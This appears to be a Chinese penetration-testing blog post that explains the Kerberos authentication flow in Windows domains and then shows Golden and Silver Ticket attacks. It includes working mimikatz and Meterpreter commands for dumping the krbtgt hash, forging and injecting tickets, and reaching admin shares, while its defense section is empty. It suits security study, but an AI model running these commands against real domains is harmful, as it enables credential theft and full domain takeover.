域渗透之Kerberos
ssooking Lv5

什么是域?

​ 域是一个有安全边界的计算机集合。对于不同的域来说,相当于不同的组织、集体。每个域都有自己的安全策略,以及它与其他域的安全信任关系。对于同一个域内部的不同计算机来说,它们通过共同的第三方信任机构建立信任关系,这个第三方信任机构角色由 DC (Domain Controller,域控制器) 担当,所有的认证及信任关系的建立由DC来完成,域内计算机直接不再进行独立的点对点安全认证。通俗来说就是,域中的机器信任域控制器,那么只要我们获得了域控制器信任,就可以在域内获得对其他服务器的访问权限。每个域的管理员只能管理自己所属域的内部,除非其他的域赋予了管理权限,这样才能够访问或者管理其他域。域管理员可以通过持有域的登陆和访问票据,从而有权限登陆域内任何一台机器,实现对域内其他计算机的远程管理、资源访问,因此域管理员权限是十分大的,而在域环境中实现这种认证机制的就是Kerberos

一个模拟的认证场景

​ 为了帮助我们理解kerberos认证,我们先模拟一个认证场景,假设有一家实行会员制的高级餐厅,只有持餐厅会员证的顾客能够在餐厅购买指定包厢的用餐券,进而凭用餐券在对应包厢进行用餐,普通顾客无权消费和用餐。假设有一位会员顾客想要用餐,他需要经过以下流程:

  • 首先,顾客到前台会员认证处提供自己的姓名、手机、身份证等信息,要求领取会员证。
  • 前台客服在电脑上的会员信息库中搜索相关信息,判断是否存在该会员用户。如果有,则给用户提供会员证。
  • 顾客拿到会员证后去前台购券处,凭借会员证,拿到一张用户指定包厢的用餐券。
  • 顾客拿到用餐券后,来到这个指定的包厢,凭借用餐券用餐。如果顾客拿着该用餐券去其他包厢,则无法用餐。

​ 在这个场景中,我们很明显能够看出来,如果我们想要用餐,必须要有两样东西:会员证、用餐券。会员证可以证明我们有权购买用餐券;而凭借用餐券,我们才能用餐。所以想要用餐,必须先拿到会员证,再凭借会员证拿到用餐券,进而凭券用餐。理解了这个场景中的认证机制,我们便进入正题。

认识Kerberos认证体系

Kerberos协议

Kerberos 是除NTML的另外一种网络认证协议,支持Windows和Linux。它提供了一种单点登录(SSO)的方式,即用户只需要登录一次即可访问所有相互信任的应用系统及共享资源。

​ 因为考虑到这样的场景,在一个网络中会有许多不同的网络对象,比如web服务器、打印机、邮件服务器、文件服务器等等,这些不同的网络对象都有认证需求,很明显,由于架构不同,我们不可能让每个对象都自己实现一套认证系统,因此Kerberos基于一个中心认证服务器,由该服务器统一进行身份认证。中心认证服务器维护了一个帐号数据库(AD,Account Database),类似于存储本地用户名、密码hash的数据库SAM,AD数据库中存储了合法域用户的用户名及密码Hash信息,所有客户端只需与该认证服务器认证,即可判断身份合法性。

​ 在通过身份认证机制后,Kerberos提供一种基于票据(Ticket)的可信任的第三方访问认证服务,通过传统的密码技术(如共享密钥)执行访问认证。假如客户端要访问服务器的资源,需要获取服务器认可的Ticket。打个比喻就是凭票入场,类似于上文提到的用餐场景,但是获取票据之前,还需要先拿到一张购票证,有这个购票证的才能买票,这张“购票证”叫做票据授予凭证 (TGT,Ticket Granting Ticket)

​ 颁发TGT(Ticket Granting Ticket)的工作由AS服务(Authentication Sevice)完成,而颁发Ticket的工作由TGS服务(Ticket Granting Service)完成,类似上文提到的用餐场景中的前台会员认证处前台购券处。AS 和 TGS 服务共同构成了具有完整身份认证访问认证功能的服务中心,该服务中心有一个专门的名字,叫做“密钥分发中心(KDC,Key Distribution Center)。在Windows域环境中,AD帐号数据库KDC的角色在物理上均由域控制器DC(Domain Controller)来担任,因此这也是为什么我在开篇说域中的认证及信任关系的建立均由DC来完成,由此可见域控制器的重要性。

Kerberos认证体系中的重要角色

Kerberos

  • Client
  • Server
  • KDC (Key Distribution Center)

DC (Domain Controller)

  • AD (Account Database):帐号数据库

  • KDC (Key Distribution Center):密钥分发中心

    • AS (Authentication Service):为客户端生成TGT
    • TGS (Ticket Granting Service):为客户端生成某个服务器的Ticket

用一张图来表示它们的逻辑关系:

1544275498280

注意:在有些文章里提到的KAS(Kerberos Authentication Service) 的概念实际上就是AS (Authentication Service)。

基础概念

在正式了解kerberos认证机制之前,你必须熟读以下概念,并且如果你在后文忘记了这些概念,可以快速回顾。

  • AD (Account Database):帐号数据库,与SAM (Security Account Manager Database,安全账号管理数据库)类似,位于ntds.dit文件中,存储了用户的用户名及密码Hash,只有存在于该数据库中的用户才被认为是合法和可信任的,才能申请到TGT。

  • Ticket:票据,全称为ST(Service Ticket),服务票据,是网络对象授权访问的凭证,持有某个服务器服务票据的客户端才有权访问该服务器上的资源。

  • TGT (Ticket Granting Ticket):直译为票据授予票据,我将其译为票据授予凭证,这是是一种临时凭证,只有拥有此凭证,才能够获取到票据。网上很多人意译为入场券,也是差不多的意思,喻义凭入场券购票,凭票入场

  • KDC (Key Distribution Center):密钥分发中心,负责管理、认证、分发票据。KDC由ASTGS服务共同组成。AS服务可以生成TGT,而TGS服务则可以生成Ticket 。

  • AS (Authentication Service):在身份认证阶段中,为客户端生成TGT,凭借TGT后续才能申请Ticket 。

  • TGS (Ticket Granting Service):在访问认证阶段中,为客户端生成可访问服务器资源的Ticket。

  • Active Directory Domain ServicesActive Directory域服务是Windows提供的一种对网络资产、服务、网络对象(如用户,计算机,打印机等)进行组织化管理的服务。它可以集中控制加入域的所有计算机的权限,具有统一化管理、更高效的权限分配、更高的安全性、较低的管理成本等特性,因此一般许多企业和组织会通过Active Directory域服务来进行统一化管理。Active Directory域服务以域名来划分域的边界,定义网络管理范围。通常一个域对应一个域名,域之间可以相互信任。在Windows Server上,如果想要构建域环境,必须安装这个服务。安装过程中,你需要设置一个域名来表示你的内部域环境。安装完毕后,运行dcpromo命令则会检查Active Directory域服务的安装情况。安装了Active Directory域服务的服务器,会被视为DC(Domain Controller)域控制器。如果想要加入一个域,你只需在客户端计算机名中设置该域的域名即可。如果你想构建一个基础的域环境,可以参考域渗透之构建基础域环境

Kerberos域认证流程

kerberos认证从整体流程上分为三个阶段:

  1. 请求TGT票据
  2. 请求Ticket票据
  3. 通过Ticket访问服务器

下面介绍一下详细流程:

第一阶段:向AS请求TGT票据(AS_REQ & AS_REP)

  1. 用户访问客户端计算机并输入域帐号和密码,尝试访问服务器资源
  2. 客户端对密码进行hash处理并缓存,然后将用户名、加密的Authenticator认证信息发送给KDC进行AS_REQ 认证请求,请求获得TGT。这里发送的两个数据为:
    • 用于登录的用户名
    • Authenticator认证信息:包含客户端信息(Domain\hostname)以及时间戳,使用用户的NTML-Hash加密
  3. KDC收到请求后,在AD (Account Database,帐户数据库) 查找该用户名,如果存在该用户,提取该用户密码的Hash作为密钥解密Authenticator信息,如果解密成功,则证明请求者提供的密码正确,即成功认证了对方身份。这时,KDC便生成一个随机字符串作为临时密钥,叫Login Session Key (登录会话密钥),然后用该用户的NTML-Hash加密这个Login Session Key作为消息1;同时,KDC使用自己的密钥(krbtgt)加密Login Session Key和客户端信息,生成TGT,作为消息2。最后,KDC将消息1和消息2返回给客户端,即 AS_REP。这里一共返回了两个数据:
    • Login Session Key:用于下一阶段客户端与TGS (Ticket Granting Service) 通信时使用的密钥,也叫做TGS会话密钥整体使用AD中对应帐号的密码Hash加密。
    • TGT:包含Login Session Key、客户端信息、时间戳、TGT有效期。整体使用krbtgt账户密码的Hash进行加密
  4. 客户端接收到返回的两个消息之后,使用自己的密码hash对消息1进行解密,如果用户提供的凭证是正确的,则解密成功,此时用户得到了Login Session Key以及加密后的TGT

Note:KDC自己的密钥,宏观上来说就是默认域账户krbtgt密码的NTML Hash,这个密钥只存在于域控制器上,因此KDC返回给客户端的TGT正常情况情况下只有自己才能解密 ,并且TGT是具有时间戳属性及有效期的,超过了有效期则需要重新申请。

第一阶段结束后,客户端获取到了Login Session Key以及加密的TGT,开始进入下个阶段,请求获取Ticket服务票据。

AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用 Mimikatz、kekeo、rubeus 等工具生成的凭据是 .kirbi 后缀,Impacket 生成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Session-key 和 TGT,因此可以相互转化。

第二阶段:向TGS请求Ticket服务票据(TGS_REQ & TGS_REP)

  1. 客户端把用户名、使用Login Session Key加密的Authenticator、加密的TGT、要访问的服务器信息发送给KDC,请求获取Ticket。这里一共发送了四个数据:
    • 用于进行登录的用户名
    • 使用Login Session Key加密的Authenticator信息
    • 第一阶段获取到的加密的TGT
    • 要访问的服务器名信息
  2. KDC收到请求之后,在AD (Account Database,帐户数据库) 查找该用户名,如果存在该用户,KDC会使用自己的密钥解密TGT,在解密的TGT中获取到TGS会话密钥(即Login Session Keyy),进而使用Login Session Key对Authenticator进行解密,如果解密成功,则验证了对方的真实身份。此时KDC会生成一个Service Session Key(服务会话密钥),以及Server Ticket。最后KDC用Logon Session 加密Service Session Key作为消息1;使用用户密码的Hash加密Ticket票据,作为消息2。然后把消息1和消息2返回给客户端 。
    • Service Session Key:用于下一阶段客户端与服务器通信,也叫做SS会话密钥,整体使用Logon Session Key加密
    • Server Ticket:服务票据,包含Service Session Key和客户端信息。用于下一阶段客户端访问服务器的凭证。整体使用服务器密码的Hash进行加密
  3. 客户端收到消息后,利用自己缓存的Logon Session Key解密Service Session Key,同时它也得到了用服务器密码Hash加密的Ticket。

Note:第二阶段结束后,客户端拿到了Service Session Key以及加密的Ticket,这个Ticket使用服务器密码的Hash进行加密。只有域控制器和服务器能够进行解密。下面进入第三阶段,客户端凭借Ticket访问服务器上的资源。

第三阶段:通过Ticket访问服务器(AP-REQ & AP-REP)

  1. 客户端向服务器发送以下两条消息:
    • 加密的ticket
    • 用Service Session Key加密的Authenticator信息
  2. 服务器收到消息之后,会用自己的密码Hash对Ticket进行解密,获取到Ticket中的Service Session Key,然后使用Service Session Key对Authenticator进行解密,如果解密成功,则认证了用户身份,此时便将这个加密的Ticket缓存到自己的内存中,并且把解密后的Authenticator用Service Session Key重新加密,数据不变,然后把加密的Authenticator发送给客户端。
  3. 客户端收到消息后,用缓存的Service Session Key对Authenticator进行解密,如果其中的数据和之前一样,则验证了服务器端的身份。

至此,客户端与服务器就完成了一次完整的握手过程,建立了TCP连接,在之后的访问过程中,客户端只要在请求数据包中携带加密的Ticket信息,即可无需再进行认证。

Kerberos认证过程中的弱点

​ 如果你认真阅读并理解了Kerberos认证流程,就可以知道,Kerberos认证的安全性并非是无懈可击的,如果认证过程中的Ticket被伪造,依旧会带来安全问题,这就是常见的票据传递攻击(Pass-The-Ticket),只是这些伪造需要满足一些前提条件。

黄金票据(Golden Ticket)

​ 整体回顾三个阶段的认证流程,我们可以发现,在第一阶段中,KDC自己的密钥,即默认域管理员帐号krbtgt的密码Hash参与生成TGT,那么如果我们拥有krbtgt帐号密码的Hash,就可以任意伪造TGT票据,那么之后的认证过程也能由我们任意控制,进而可以任意颁发票据访问个域成员主机的服务。不过实现这些的前提是我们能够拿下域控制器,获得krbtgt密码的Hash。在这个阶段被伪造的TGT票据,被叫做黄金票据(Golden Tickets)

白银票据(Silver Ticket)

​ 在第二阶段的认证过程中,最后客户端拿到了Service Session Key以及加密的Ticket,这个Ticket使用服务器密码的Hash进行加密,那么如果我们拥有服务器密码的Hash,我们就可以伪造一个加密的Server Ticket,利用这个伪造的Ticket,参与第三阶段的认证过程。在这个阶段被伪造的Server Ticket被称为白银票据(Silver Ticket)

Golden Ticket与Silver Ticket的不同之处:

  • 访问权限不同 : Golden Ticket是伪造的TGT,可访问任何域成员服务;Silver Ticket是伪造的TGS,只能访问特定主机的服务。

  • 加密方式不同 : Golden Ticket是用域 Kerberos 服务帐户 ( krbtgt)加密的;而Silver Ticket是由服务帐户(从计算机的本地SAM或服务帐户凭据中提取的计算机帐户凭据)加密的。

  • 认证流程不同: Golden Ticket的获取使用需要与域控通信;Silver Ticket的使用不需要与域控通信。

对比来看,伪造黄金票据,能够攻击除了域控制器之外的其他所有域服务器,实现持久化隐藏和控制这个域,危害巨大,但是前提需要先拿到域控制器的权限。 而伪造白银票据,仅能够攻击特定的服务器,但是伪造白银票据的难度比伪造黄金票据的难度较小,因为通常来说服务器部署了更多的应用,安全性较域控制器来说相对更低。

Pass-The-Ticket Attack

伪造黄金票据

mimikatz

1.首先我们需要先拿到krbtgt帐号的NTML Hash

1
2
3
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:krbtgt" exit > krbtgt.txt
# or
mimikatz.exe "lsadump::lsa /inject /name:krbtgt" exit > krbtgt.txt

接下来准备伪造黄金票据,mimikatz伪造黄金票据需要一些必要的参数:

  • /domain - 域名
  • /sid- 域SID
  • /user - 要模拟的用户名,可以任意
  • /rc4 or /krbtgt - krbtgt 账户的 NTLM hash
  • /ptt - 在当前会话中注入票据
  • /ticket- 可选 - 导出票证 ,默认文件名为:ticket.kirbi
  • /id - 可选 - 用户的ID ,默认为:500(默认管理员ID)
  • /groups- 可选 - 用户所属组的ID ,默认为513,512,520,518,519(常见默认管理员组)

Note:SID全称Security Identifiers(安全标识符),用于标识用户或组。要获取域SID,我们可以查询用户的SID,去掉最后几位RID即可,可以使用whoami /userwmic useraccount get name,sid查看。实际上刚才我们可以直接从mimikatz获取的krbtgt的SID中查看。

Windows系统帐户对应固定的RID:
500:Administrator
501:Guest
502:krbtgt (域环境)
512:Domain Admins (域环境)
513:Domain Users (域环境)
514:Domain Guests (域环境)
515:Domain Computers (域环境)
516:Domain Controllers (域环境)

1
2
3
4
5
kerberos::list		#列出票据
kerberos::purge #清除所有票据
# 伪造票据
mimikatz.exe "kerberos::golden /user:wowowo /domain:<域名> /sid:<域SID> /krbtgt:<krbtgt's ntml hash> /ptt"
mimikatz.exe "kerberos::golden /user:hacker /domain:ssooking.com /sid:S-1-5-21-4168241775-2339322854-2282195709 /krbtgt:f83726428e45eceead37a334aef1dc3a /ptt"

正常情况下,我们访问服务器的共享目录会弹出认证框进行身份认证,当我们伪造票据之后,再次访问域服务器DM1的共享目录时,发现无需认证即可访问。

或者使用net use直接映射服务器的磁盘,此时也无需提供口令凭证。

1
net use x: \\Win2008-dm1\D$

其他方法

通过mimikatz导出域控制器内存中的Ticket:

1
sekurlsa::tickets /export

挑选其中的某个kirbi文件,在域普通用户的主机进行导入

1
mimikatz.exe "kerberos::ptt C:\test\xxxx.kirbi"

Metasploit

使用meterpreter中的kiwi模块:

1
2
3
4
5
6
meterpreter> load kiwi
meterpreter> kerberos_ticket_list #列出票据
meterpreter> kerberos_ticket_purge #清除所有票据
# 伪造票据
meterpreter> golden_ticket_create -u <username> -d <domain> -k <krbtgt ntml hash> -s <domain SID> -t /tmp/krbtgt.ticket
meterpreter> kerberos_ticket_use /tmp/krbtgt.kirbi

伪造白银票据

伪造白银票据需要先获取目标服务账户的hash,以mimikatz为例:

1
mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

mimikatz可以用来伪造银票,同样是使用kerberos::golden,但是指定的是服务帐户的密码哈希值,不是krbtgt的hash。mimikatz伪造白银票据需要一些必要的参数:

  • /domain - 域名
  • /sid- 域SID
  • /user - 要模拟的用户名,可以任意
  • /target – 目标服务器域名
  • /service – 目标服务主体名称(参考
  • /rc4 服务账户NTLM hash
  • /ptt - 在当前会话中注入票据

使用mimikatz伪造白银票据,并将其注入到cmd.exe会话中:

1
PS> .\mimikatz.exe "kerberos::golden /user:random_user /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt" "misc::cmd" exit

检测与防御

参考链接

  • Post title:域渗透之Kerberos
  • Post author:ssooking
  • Create time:2019-12-03 14:35:00
  • Post link:https://ssooking.github.io/2019/12/域渗透之kerberos/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.